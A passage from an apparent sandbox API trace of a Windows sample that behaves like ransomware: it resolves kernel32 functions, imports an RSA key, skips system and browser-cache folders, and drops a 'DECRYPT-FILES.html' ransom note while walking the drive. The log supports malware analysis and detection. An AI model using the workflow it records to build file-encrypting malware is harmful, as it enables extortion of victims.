returned="CopyFileExA" [0084.402] lstrlenA (lpString="COPYFILEEXA") returned 11 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0084.402] lstrlenA (lpString="COPYFILEEXW") returned 11 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0084.402] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0084.402] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0084.402] lstrlenA (lpString="COPYFILEW") returned 9 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0084.402] lstrlenA (lpString="COPYLZFILE") returned 10 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0084.402] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0084.402] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0084.402] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0084.402] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0084.402] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0084.402] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0084.402] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0084.403] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0084.403] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0084.403] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0084.403] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0084.403] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0084.403] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0084.403] lstrlenA (lpString="CREATEEVENTA") returned 12 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0084.403] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0084.403] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0084.403] lstrlenA (lpString="CREATEEVENTW") returned 12 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0084.403] lstrlenA (lpString="CREATEFIBER") returned 11 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0084.403] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0084.403] lstrlenA (lpString="CREATEFILE2") returned 11 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0084.403] lstrlenA (lpString="CREATEFILEA") returned 11 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0084.403] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0084.403] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0084.403] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0084.403] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0084.403] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0084.404] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0084.404] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0084.404] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0084.404] lstrlenA (lpString="CREATEFILEW") returned 11 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0084.404] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0084.404] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0084.404] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0084.404] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0084.404] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0084.404] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0084.404] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0084.404] lstrlenA (lpString="CREATEJOBSET") returned 12 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0084.404] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0084.404] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0084.404] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0084.404] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0084.404] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0084.404] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0084.404] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0084.405] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0084.405] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0084.405] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0084.405] lstrlenA (lpString="CREATEPIPE") returned 10 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0084.405] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0084.405] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0084.405] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0084.405] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0084.405] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0084.405] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0084.405] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0084.405] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0084.405] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0084.405] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0084.405] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0084.405] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0084.405] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0084.405] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0084.405] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0084.405] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0084.406] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0084.406] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0084.406] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0084.406] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0084.406] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0084.406] lstrlenA (lpString="CREATETHREAD") returned 12 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0084.406] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0084.406] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0084.406] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0084.406] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0084.406] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0084.406] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0084.406] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0084.406] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0084.407] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0084.407] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0084.408] RegisterClassExW (param_1=0x2fdff1c) returned 0xc170 [0084.408] CreateWindowExW (dwExStyle=0x0, lpClassName=" fposfcs", lpWindowName=" fposfcs", dwStyle=0x0, X=-2147483648, Y=-2147483648, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0x23d000, lpParam=0x0) returned 0x5021e [0086.294] VirtualFree (lpAddress=0x3080000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.294] VirtualFree (lpAddress=0x3090000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.295] VirtualFree (lpAddress=0x3070000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.295] GetMessageA (in: lpMsg=0x2fdff58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2fdff58) returned 1 [0086.295] TranslateMessage (lpMsg=0x2fdff58) returned 0 [0086.295] DispatchMessageA (lpMsg=0x2fdff58) returned 0x0 [0086.295] GetMessageA (lpMsg=0x2fdff58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 143 os_tid = 0xea8 Thread: id = 144 os_tid = 0xf24 Thread: id = 145 os_tid = 0x824 [0095.419] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2cc0000 [0095.420] CryptAcquireContextW (in: phProv=0x2cc0004, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2cc0004*=0x6a26f8) returned 1 [0095.422] CryptImportKey (in: hProv=0x6a26f8, pbData=0x3180000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x2cc0008 | out: phKey=0x2cc0008*=0x68c9e8) returned 1 [0095.423] StrStrW (lpFirst="C:\\", lpSrch=":\\Windows") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\Program Files") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\Games\\") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\Tor Browser\\") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\ProgramData\\") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0095.423] StrStrW (lpFirst="C:\\", lpSrch="\\All Users") returned 0x0 [0095.423] lstrlenW (lpString="C:\\") returned 3 [0095.423] lstrlenW (lpString="eogwkz.dat") returned 10 [0095.424] wsprintfW (in: param_1=0x38bf4ec, param_2="%s\\%s" | out: param_1="C:\\\\eogwkz.dat") returned 14 [0095.424] CreateFileW (lpFileName="C:\\\\eogwkz.dat" (normalized: "c:\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x4fc [0095.869] lstrlenW (lpString="C:\\") returned 3 [0095.869] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0095.869] wsprintfW (in: param_1=0x38bf4ec, param_2="%s\\%s" | out: param_1="C:\\\\DECRYPT-FILES.html") returned 22 [0095.869] CreateFileW (lpFileName="C:\\\\DECRYPT-FILES.html" (normalized: "c:\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0095.870] WriteFile (in: hFile=0x500, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38bf4e8, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38bf4e8*=0x1997, lpOverlapped=0x0) returned 1 [0095.871] CloseHandle (hObject=0x500) returned 1 [0095.871] lstrlenW (lpString="C:\\") returned 3 [0095.872] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0095.872] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38bfd0c | out: lpFindFileData=0x38bfd0c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6bf5a0, dwReserved1=0x928d, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6bbf30 [0095.872] lstrcmpW (lpString1="$GetCurrent", lpString2=".") returned -1 [0095.872] lstrcmpW (lpString1="$GetCurrent", lpString2="..") returned -1 [0095.872] lstrcatW (in: lpString1="$GetCurrent", lpString2="\\" | out: lpString1="$GetCurrent\\") returned="$GetCurrent\\" [0095.872] lstrcatW (in: lpString1="C:\\", lpString2="$GetCurrent\\" | out: lpString1="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch=":\\Windows") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\Program Files") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\Games\\") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\Tor Browser\\") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\ProgramData\\") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0095.872] StrStrW (lpFirst="C:\\$GetCurrent\\", lpSrch="\\All Users") returned 0x0 [0095.872] lstrlenW (lpString="C:\\$GetCurrent\\") returned 15 [0095.872] lstrlenW (lpString="eogwkz.dat") returned 10 [0095.872] wsprintfW (in: param_1=0x38bf270, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\\\eogwkz.dat") returned 26 [0095.872] CreateFileW (lpFileName="C:\\$GetCurrent\\\\eogwkz.dat" (normalized: "c:\\$getcurrent\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x518 [0098.644] lstrlenW (lpString="C:\\$GetCurrent\\") returned 15 [0098.644] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0098.644] wsprintfW (in: param_1=0x38bf270, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\\\DECRYPT-FILES.html") returned 34 [0098.644] CreateFileW (lpFileName="C:\\$GetCurrent\\\\DECRYPT-FILES.html" (normalized: "c:\\$getcurrent\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0098.650] WriteFile (in: hFile=0x528, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38bf26c, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38bf26c*=0x1997, lpOverlapped=0x0) returned 1 [0098.651] CloseHandle (hObject=0x528) returned 1 [0098.652] lstrlenW (lpString="C:\\$GetCurrent\\") returned 15 [0098.652] lstrcatW (in: lpString1="C:\\$GetCurrent\\", lpString2="*" | out: lpString1="C:\\$GetCurrent\\*") returned="C:\\$GetCurrent\\*" [0098.652] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x410d5c3a, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bba70 [0098.652] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0098.652] FindNextFileW (in: hFindFile=0x6bba70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x410d5c3a, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.652] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0098.652] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0098.652] FindNextFileW (in: hFindFile=0x6bba70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x410d5c3a, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x410d5c3a, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x410d5c3a, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x31, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0098.652] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0098.652] FindNextFileW (in: hFindFile=0x6bba70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x410aff5e, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x410aff5e, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x410aff5e, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0098.652] 